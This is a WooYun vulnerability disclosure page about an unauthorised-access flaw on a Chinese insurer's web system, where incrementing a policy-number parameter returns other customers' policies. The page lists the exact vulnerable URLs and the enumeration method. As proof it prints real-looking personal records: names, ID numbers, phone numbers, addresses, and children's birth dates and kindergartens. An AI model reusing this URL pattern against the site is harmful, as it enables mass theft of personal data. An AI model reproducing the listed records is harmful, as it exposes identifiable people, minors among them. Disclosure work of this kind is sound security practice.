当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0215487

漏洞标题：长安责任保险股份有限公司某站未授权访问导致上万用户敏感信息泄漏（任意查询客户保单/姓名/身份证/通讯地址/出生日期/电话/保险卡号/）

相关厂商：ecaic.com

漏洞作者： 0x 80

提交时间：2016-06-02 18:36

修复时间：2016-07-17 21:20

公开时间：2016-07-17 21:20

漏洞类型：敏感信息泄露

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-06-02： 细节已通知厂商并且等待厂商处理中
2016-06-02： 厂商已经确认，细节仅向厂商公开
2016-06-12： 细节向核心白帽子及相关领域专家公开
2016-06-22： 细节向普通白帽子公开
2016-07-02： 细节向实习白帽子公开
2016-07-17： 细节向公众公开

简要描述：

长安责任保险股份有限公司某站未授权访问导致上万用户敏感信息泄漏（任意查询客户保单/姓名/身份证/通讯地址/出生日期/电话/保险卡号/）

详细说明：

http://www.ecaic.com:8070/cardactiverenshen/prpCmainAction.do?action=printPrpCmainContent&prpCmainCode=627572014400080503641
其中prpCmainCode未加密
可以直接+1逻辑任意查询

投保人信息
姓名 	鲁生亮  	与被保险人关系 	父亲
证件号码 	370681198404306411  	联系电话 	15154523777 
通讯地址 	山东省龙口市石良镇鲁家沟村58号  	邮政编码 	 
被保险人信息
姓名 	鲁珈宁  	性别 	女   	年龄 	0
出生日期 	2014-03-25  	证件号码 	370681201403256824 
所在学校/幼儿园 	婴幼儿 	班级 	婴幼儿 	参加基本医疗 	是
健康状况 	良好 	健康状况说明 	
保险期限 	2014年05月24日零时起至2015年05月23日二十四时止


捕获.GIF


http://www.ecaic.com:8070/cardactiverenshen/prpCmainAction.do?action=printPrpCmainContent&prpCmainCode=627572014400080503642
http://www.ecaic.com:8070/cardactiverenshen/prpCmainAction.do?action=printPrpCmainContent&prpCmainCode=627572014400080503642

财富长安宝宝卡
电子保单号码：627572014400080503642	保险卡号： 2013008509
投保人信息
姓名 	谭晶予  	与被保险人关系 	母亲
证件号码 	37060219821201104X  	联系电话 	18663866870 
通讯地址 	山东省烟台市四季花城  	邮政编码 	264000 
被保险人信息
姓名 	孔令州  	性别 	男   	年龄 	3
出生日期 	2011-05-17  	证件号码 	37060220110517071X 
所在学校/幼儿园 	烟台市四季花城幼儿园 	班级 	托一 	参加基本医疗 	是
健康状况 	良好 	健康状况说明 	
保险期限 	2014年05月24日零时起至2015年05月23日二十四时止 
保障方案


捕获999.GIF


http://www.ecaic.com:8070/cardactiverenshen/prpCmainAction.do?action=printPrpCmainContent&prpCmainCode=627572014400080503643


捕获99999.GIF


漏洞证明：

http://www.ecaic.com:8070/cardactiverenshen/prpCmainAction.do?action=printPrpCmainContent&prpCmainCode=627572014400080503641
其中prpCmainCode未加密
可以直接+1逻辑任意查询

修复方案：

版权声明：转载请注明来源 0x 80@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-06-02 21:16

厂商回复：

感谢白帽子，感谢乌云

最新状态：

暂无